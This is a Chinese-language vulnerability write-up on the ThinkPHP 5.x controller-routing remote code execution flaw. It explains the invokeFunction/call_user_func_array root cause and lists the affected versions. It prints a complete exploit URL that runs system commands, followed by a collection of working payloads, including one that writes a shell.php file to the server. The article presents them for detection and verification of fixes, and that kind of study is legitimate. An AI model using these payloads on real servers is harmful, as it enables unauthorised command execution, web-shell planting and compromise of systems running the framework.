关于ThinkPHP近期安全漏洞的全面解析:代码执行风险与修复方案
近日,ThinkPHP官方紧急发布安全更新,修复了一个涉及控制器验证机制的高危远程代码执行漏洞(俗称getshell)。该漏洞源于框架对控制器调用路径的过滤不严谨,导致攻击者可构造恶意请求直接执行系统命令,严重威胁服务器安全。
受影响版本范围:该安全问题主要波及ThinkPHP 5.x系列中低于5.1.31的版本,以及5.0系列中小于等于5.0.23的所有部署环境。建议相关开发者立即检查当前所使用的框架版本。
漏洞危害评估:攻击者成功利用此漏洞后,可直接在目标服务器上执行任意操作系统指令,等同于获得服务器管理权限,可能导致数据泄露、服务中断、网站篡改等严重后果。
为便于技术复现与分析,以下是ThinkPHP 5.0.22版本的官方下载链接:https://www.thinkphp.cn/download/1260.html。我们将基于此版本展开原理探讨。
需要特别说明的是,ThinkPHP 5.1版本引入了容器(Container)与门面(Facade)机制,而5.0版本并未包含此特性。这一架构差异直接影响漏洞利用时Payload的具体构造方式。
漏洞技术原理深度剖析
典型的攻击请求URL格式如下:
https://192.168.188.141/public/index.php?s=index/\think\app/invokefunction
攻击入口点位于框架路由解析环节。深入追踪执行流程,问题的核心出现在App类的exec方法中。该方法负责调度分层控制器,在处理用户传入的调用参数时,未充分验证控制器路径的合法性,直接将控制器名称与配置参数传递给invokeFunction函数执行。

如图所示,整个攻击链路由此建立。think\App作为框架核心入口类,在应用初始化阶段即被加载。当通过它调用分层控制器逻辑时,执行流最终会进入invokeFunction函数。

invokeFunction函数的设计用途是动态调用函数,它接收两个关键参数:第一个是函数名称($function),第二个是参数数组($vars)。例如传入$function为“testFunc”,$vars为[123, 'abc'],则实际执行等价于testFunc(123, 'abc')。
漏洞利用的巧妙之处在于攻击者将$function参数设置为call_user_func_array函数,然后在$vars[0]中置入实际要执行的函数名(如system),在$vars[1]中放入对应参数。由于$vars为数组类型,在HTTP请求中需使用PHP数组语法进行传递:
vars[]=函数名&vars[1][]=参数
通过此方式,远程代码执行通道被成功开启。例如执行system('whoami')命令的完整攻击URL为:
https://192.168.188.141/public/index.php?s=index/\think\app/invokefunction&function=call_user_func_array&vars[0]=system&vars[1][]=whoami

如图所示,系统命令被成功执行。攻击者借此可进行后续渗透操作。对于开发与运维团队而言,立即修复是首要任务。目前官方最新版本已通过严格控制器验证机制彻底修复此安全隐患。

为协助安全人员检测自身系统或验证修复效果,以下整理了针对不同ThinkPHP版本的有效测试Payload集合:
?s=index/\think\Request/input&filter=phpinfo&data=1 ?s=index/\think\Request/input&filter=system&data=id ?s=index/\think\template\driver\file/write&cacheFile=shell.php&content= ?s=index/\think\view\driver\Php/display&content= ?s=index/\think\app/invokefunction&function=call_user_func_array&vars[0]=phpinfo&vars[1][]=1 ?s=index/\think\app/invokefunction&function=call_user_func_array&vars[0]=system&vars[1][]=id ?s=index/\think\Container/invokefunction&function=call_user_func_array&vars[0]=phpinfo&vars[1][]=1 ?s=index/\think\Container/invokefunction&function=call_user_func_array&vars[0]=system&vars[1][]=id
希望通过以上技术解析,能帮助开发者与安全研究人员深入理解该漏洞的产生机理与利用方式。网络安全防御需防患于未然,及时更新框架版本、定期进行代码审计、部署Web应用防火墙(WAF)是有效防范此类高危漏洞的关键措施。
